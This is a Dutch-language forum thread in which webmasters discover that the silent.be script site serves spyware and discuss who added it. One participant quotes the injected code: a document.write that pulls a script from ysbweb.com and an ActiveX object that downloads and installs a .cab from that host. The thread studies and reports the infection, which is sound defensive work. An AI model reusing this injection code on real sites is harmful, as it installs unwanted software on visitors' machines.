silent.be

[julien]

Was dat niet van iemand hier?

http://forums.zita.be/showthread.php?t=148696

[Stef]

Ik kom niet op haar site, maar het zou me niets verbazen als ze nog een oud script van Silent er op heeft staan. In ieder geval zal ik Daisy even checken in gebruikersnamen lijst.

edit; memberlist.php?mode=viewprofile&u=100400

Niet dezelfde?

[Johan]

was ja

[Derk]

Doet een admin er wat aan of mag ik als 'oud programmeur' er wat over zeggen op de site zelf?

[Stef]

Doet een admin er wat aan of mag ik als 'oud programmeur' er wat over zeggen op de site zelf?

Feel free! Wees er wel zeker van dat het Silent-script dit veroorzaakt.

[Derk]

Het silent script veroorzaakt de melding, niet meer.

Edit:
http://www.silent.be/adver2/online.php? ... llegrieten

Hoewel... Klopt niet helemaal, die URL onderin zou er niet in mogen staan.

[Stef]

Zeg maar dat webmasterplein haar aanbied om gratis het script te verwijderen!

[Derk]

Helaas heeft google gelijk. Er staat malware/spyware troep op silent.be. Of eigenlijk linkt silent naar een extern script die dergelijke code bevat.

edit:
silent.be:

Code: Selecteer alles

document.write('<b><a href=http://www.silent.be>Update je scripts!</a></b><script language=\'JavaScript\' type=\'text/JavaScript\' src=\'http://www.ysbweb.com/ist/scripts/ysb_prompt.php?retry=2&loadfirst=0&delayload=5&software_id=10&account_id=1004676&recurrence=always&adid=a1133036295&event_type=onunload&user_level=3\'></script>');

Snippet van het ysbweb script:

Code: Selecteer alles

            var url = "http://www.ysbweb.com/ist/scripts/ysb_downloads_manager.php?pevent_type=onunload&retry=2&ref=&retry=2&loadfirst=0&delayload=5&software_id=10&account_id=1004676&recurrence=always&adid=a1133036295&event_type=onunload&user_level=3";
      var win='toolbar=1,location=1,directories=0,menubar=0,scrollbars=1,resizable=1,top=110,left=2000,width=600,height=500';


een snippet van die url:

Code: Selecteer alles

function showActiveX() {
        holder.write('<OBJECT id="barobject" width=1 height=1 classid="CLSID:42F2C9BA-614F-47c0-B3E3-ECFD34EED658"');
   if(!sp2){
           holder.write('codebase="http://www.ysbweb.com/ist/softwares/v4.0/ysb_regular.cab" onerror="parent.retryit();">');
   } else {
      holder.write('codebase="http://www.ysbweb.com/ist/softwares/v4.0/ysb_regular.cab">');
   }
        holder.write('<PARAM name="account_id" value="1004676">');
        holder.write('<PARAM name="download_key" value="304d028da77067fcacab5aadeda8c3c0">');


Wat duidelijk activex troep is.

[Stef]

Maar deze scripts hebben wij niet gemaakt, toch?

[KillerSponge]

Ik niet iig. Dus stef, tenzij jij t was, is t gebeurt nadat het hele gebeuren weer naar silent ging. Beetje raar verhaal

[Derk]

Ze linkte nog naar de adver2. Die is oud en heeft ik denk davy aangepast. Hij zal dus wel degene zijn die het script heeft toegevoegd. De adver3 tools zijn nog als ze waren alleen werken ze niet meer goed.

[Stef]

Thanks, Derk ook bedankt voor het uitdragen van de boodschap. Julien ook bedankt voor het rapporteren en het ondersteunen van Derk.

Top!!!